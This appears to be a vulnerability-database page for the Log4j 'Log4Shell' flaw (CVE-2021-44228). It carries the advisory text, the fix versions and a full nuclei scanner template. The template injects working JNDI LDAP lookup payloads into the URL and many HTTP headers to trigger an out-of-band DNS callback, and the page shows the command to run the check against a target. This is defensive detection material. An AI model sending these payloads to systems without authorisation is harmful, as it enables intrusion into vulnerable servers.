Browse / CVEs / CVE-2021-44228
CVE-2021-44228· apache / log4j· CWE-20, CWE-917
Apache Log4j2 Remote Code Injection
Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
Impact
Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.
Fix
Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
How to confirm it
Send: GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} ; GET /
Positive when: contains in interactsh_protocol "dns" AND matches in interactsh_request /\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+/Run it with nuclei: nuclei -id CVE-2021-44228 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-44228
info:
name: Apache Log4j2 Remote Code Injection
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
severity: critical
description: |
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, potentially compromising the affected system.
remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
reference:
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-20,CWE-917
epss-score: 0.99999
epss-percentile: 1
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: log4j
tags: cve2021,cve,rce,oast,log4j,injection,kev,apache,vkev,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part: interactsh_request
- type: regex
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part: interactsh_request
# digest: 4a0a0047304502202884fb76d02d44ae24b3e9bc5914a20e89726f929f3a1472cb9ce81e16f6c7320221009fb4e79fd5e58f4a49ccbeff467c990c3be6e32a7e03a2af8db207849e937d5f:922c64590222798bb761d5b6d8e72950References
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
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